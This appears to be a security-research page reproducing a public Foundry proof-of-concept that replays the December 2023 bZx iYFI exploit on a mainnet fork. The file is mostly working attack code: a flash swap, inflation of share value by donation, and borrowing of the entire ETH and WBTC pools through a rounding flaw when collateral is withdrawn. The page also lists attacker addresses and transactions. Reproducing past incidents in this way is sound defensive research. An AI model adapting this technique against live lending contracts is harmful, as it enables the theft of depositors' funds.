Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/bZx_exp.sol

Public reproduction file for dataset entry bZxProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/bZx_exp.sol195 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$208K
8// Attacker : https://etherscan.io/address/0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5
9// Attack Contract : https://etherscan.io/address/0x03b7bb750a974e0bd34795013f66b669f4110e54
10// Vulnerable Contract : https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b
11// Attack Tx 1 : https://app.blocksec.com/explorer/tx/eth/0x0fc5c0d41e5506fdb9434fab4815a4ff671afc834e47a533b3bed7182ece73b0
12// Attack Tx 2 : https://app.blocksec.com/explorer/tx/eth/0xb072f2e88058c147d8ff643694b43a42e36525b7173ce1daf76e6c06170b0e77
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b#code
17// @Analysis
18// Post-mortem :
19// Twitter Guy : https://x.com/MetaSec_xyz/status/1730811240942088263
20// Hacking God :
22interface IToken is IERC20 {
23 struct LoanOpenData {
24 bytes32 loanId;
25 uint256 principal;
26 uint256 collateral;
27 }
29 function borrow(
30 bytes32 loanId,
31 uint256 withdrawAmount,
32 uint256 initialLoanDuration,
33 uint256 collateralTokenSent,
34 address collateralTokenAddress,
35 address borrower,
36 address receiver,
37 bytes memory
38 ) external payable returns (LoanOpenData memory);
40 function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);
42 function mint(address receiver, uint256 depositAmount) external returns (uint256);
45interface IbZx {
46 function withdrawCollateral(
47 bytes32 loanId,
48 address receiver,
49 uint256 withdrawAmount
50 ) external returns (uint256 actualWithdrawAmount);
53contract ContractTest is Test {
54 uint256 private constant blocknumToForkFrom = 18_695_728;
55 Uni_Pair_V2 private constant YFI_WETH = Uni_Pair_V2(0x088ee5007C98a9677165D78dD2109AE4a3D04d0C);
56 // Underlying asset
57 IERC20 private constant YFI = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);
58 // iToken lending pool
59 IToken private constant iYFI = IToken(0x7F3Fe9D492A9a60aEBb06d82cBa23c6F32CAd10b);
60 IToken private constant iETH = IToken(0xB983E01458529665007fF7E0CDdeCDB74B967Eb6);
61 IToken private constant iWBTC = IToken(0x2ffa85f655752fB2aCB210287c60b9ef335f5b6E);
62 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
63 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
64 IbZx private constant bzX = IbZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
65 Uni_Router_V2 private constant SushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
66 Uni_Router_V2 private constant UniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
67 address private constant originalAttackContract = 0x03b7Bb750A974e0BD34795013F66B669f4110e54;
68 uint256 private constant iYFIQuantity = 5;
70 // Borrow function args
71 bytes32 private constant borrowLoanId = bytes32(0);
72 uint256 private constant initialLoanDuration = 0;
74 function setUp() public {
75 vm.createSelectFork("mainnet", blocknumToForkFrom);
76 vm.label(address(YFI_WETH), "YFI_WETH");
77 vm.label(address(YFI), "YFI");
78 vm.label(address(iYFI), "iYFI");
79 vm.label(address(iETH), "iETH");
80 vm.label(address(iWBTC), "iWBTC");
81 vm.label(address(WETH), "WETH");
82 vm.label(address(bzX), "bzX");
83 vm.label(address(SushiRouter), "SushiRouter");
84 vm.label(address(UniRouter), "UniRouter");
85 }
87 function testExploit() public {
88 // In this POC I demonstrate first attack tx
89 deal(address(this), 0);
90 emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);
91 uint256 yfiFlashAmount = YFI.balanceOf(address(YFI_WETH)) / 10;
92 // If the data.length is > 0 then pair contract recognizes flashswap instead of typical swap
93 bytes memory data = abi.encodePacked(uint8(48));
94 YFI_WETH.swap(yfiFlashAmount, 0, address(this), data);
96 emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
97 }
99 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
100 YFI.approve(address(iYFI), type(uint256).max);
101 // Referring to the tx, attack contract shares were burned before deposit/mint operation
102 vm.prank(originalAttackContract);
103 iYFI.burn(originalAttackContract, iYFIQuantity);
105 // At this point iYFI pool is empty
106 emit log_named_uint("Total underlying assets in the pool before deposit/mint", YFI.balanceOf(address(iYFI)));
107 emit log_named_uint("Total shares before deposit/mint", iYFI.totalSupply());
109 // Deposit 5 wei YFI and mint 5 wei iYFI
110 iYFI.mint(address(this), iYFIQuantity);
112 emit log_named_uint("Total underlying assets in the pool after deposit/mint", YFI.balanceOf(address(iYFI)));
113 emit log_named_uint("Total shares after deposit/mint", iYFI.totalSupply());
114 emit log_named_uint("Exploiter shares", iYFI.balanceOf(address(this)));
116 // Add 5 wei YFI to this contract (these 5 wei YFI exploiter obtained when his shares were burned before)
117 // I do this because I want to stick strictly to the values presented in attack tx
118 deal(address(YFI), address(this), YFI.balanceOf(address(this)) + iYFIQuantity);
119 // Donate all YFI tokens to increase iYFI (shares that exploiter owns) value
120 YFI.transfer(address(iYFI), YFI.balanceOf(address(this)));
122 // Borrow/steal all ETH from iETH pool
123 stealETH();
124 // Borrow/steal all WBTC from iWBTC pool
125 stealWBTC();
126 // Exploiter successfully retrieved his collateral (shares) after borrowing/stealing tokens
127 // This is due to rounding issue in bZx contract
128 uint256 iYFIAmount = iYFI.balanceOf(address(this));
129 // Burn iYFI (5) and retrieve underlying YFI (19363816309062560436)
130 uint256 loanAmountPaid = iYFI.burn(address(this), iYFIAmount);
132 // Repay flashloan
133 uint256 amountOut = (((amount0 * 1000) + 1) / 997) - amount0;
134 WETHToYFI(amountOut);
135 YFI.transfer(address(YFI_WETH), YFI.balanceOf(address(this)));
136 }
138 receive() external payable {}
140 function borrowToken(IToken iToken, uint256 withdrawAmount) private returns (bytes32 loanId) {
141 IToken.LoanOpenData memory loanData = iToken.borrow(
142 borrowLoanId,
143 withdrawAmount,
144 initialLoanDuration,
145 iYFIQuantity,
146 address(iYFI),
147 address(this),
148 address(this),
149 ""
150 );
151 loanId = loanData.loanId;
152 }
154 function withdrawCollateral(
155 bytes32 loanID
156 ) private {
157 bzX.withdrawCollateral(loanID, address(this), iYFIQuantity);
158 }
160 function WBTCToWETH() private {
161 address[] memory path = new address[](2);
162 path[0] = address(WBTC);
163 path[1] = address(WETH);
164 SushiRouter.swapExactTokensForTokens(
165 WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100
166 );
167 }
169 function WETHToYFI(
170 uint256 amount
171 ) private {
172 WETH.approve(address(UniRouter), type(uint256).max);
173 address[] memory path = new address[](2);
174 path[0] = address(WETH);
175 path[1] = address(YFI);
176 UniRouter.swapTokensForExactTokens(
177 amount, WETH.balanceOf(address(this)), path, address(this), block.timestamp + 100
178 );
179 }
181 function stealETH() private {
182 iYFI.approve(address(iETH), type(uint256).max);
183 bytes32 loanId = borrowToken(iETH, WETH.balanceOf(address(iETH)));
184 WETH.deposit{value: address(this).balance}();
185 withdrawCollateral(loanId);
186 }
188 function stealWBTC() private {
189 iYFI.approve(address(iWBTC), type(uint256).max);
190 WBTC.approve(address(SushiRouter), type(uint256).max);
191 bytes32 loanId = borrowToken(iWBTC, WBTC.balanceOf(address(iWBTC)));
192 WBTCToWETH();
193 withdrawCollateral(loanId);
194 }

Analysis

Dataset entry

Public Foundry test for “bZxProtocol” (2023-12-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5a7c7eb8d13a53d42a15d2b1d1b694ccc5141ea5

  • Attack Contract

    0x03b7bb750a974e0bd34795013f66b669f4110e54

  • Vulnerable Contract

    0x7f3fe9d492a9a60aebb06d82cba23c6f32cad10b

  • Attack Tx

    0x0fc5c0d41e5506fdb9434fab4815a4ff671afc834e47a533b3bed7182ece73b0

  • Attack Tx

    0xb072f2e88058c147d8ff643694b43a42e36525b7173ce1daf76e6c06170b0e77

File record

Name
bZxProtocol
Path
src/test/2023-12/bZx_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
92c226575257ab0377e5b8b588f38d221cce34ba
Language
Solidity
Size
196 lines
Date
2023-12-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/bZx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 92c226575257ab0377e5b8b588f38d221cce34ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.